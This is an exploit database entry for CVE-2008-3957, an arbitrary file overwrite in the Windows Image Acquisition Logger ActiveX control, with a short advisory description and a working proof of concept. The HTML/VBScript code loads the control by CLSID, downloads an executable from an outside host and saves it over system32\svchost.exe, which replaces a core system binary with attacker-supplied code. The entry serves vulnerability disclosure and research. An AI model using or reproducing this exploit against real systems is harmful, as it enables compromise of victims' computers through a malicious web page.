Microsoft Windows - Image Acquisition Logger ActiveX Control Arbitrary File Overwrite (1)
Author: Ciph3r
type: remote
platform: windows
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date_added: 2008-09-08
date_updated: 2014-03-18
verified: 1
codes: CVE-2008-3957;OSVDB-48037
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source: https://www.securityfocus.com/bid/31069/info
Microsoft Windows Image Acquisition Logger ActiveX control is prone to a vulnerability that lets attackers overwrite files with arbitrary, attacker-controlled content. The issue occurs because the control fails to sanitize user-supplied input.
An attacker can exploit this issue to overwrite files with attacker-supplied data, which will aid in further attacks.
<object classid="clsid:A1E75357-881A-419E-83E2-BB16DB197C68" id='test'></object>
<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>
<script language='vbscript'>
Sub tryMe
dim remURL
remURL = "http://victim.com/svchost.exe"
test.Open remURL, True
test.Save "C:\WINDOWS\system32\svchost.exe", True
End Sub
</script>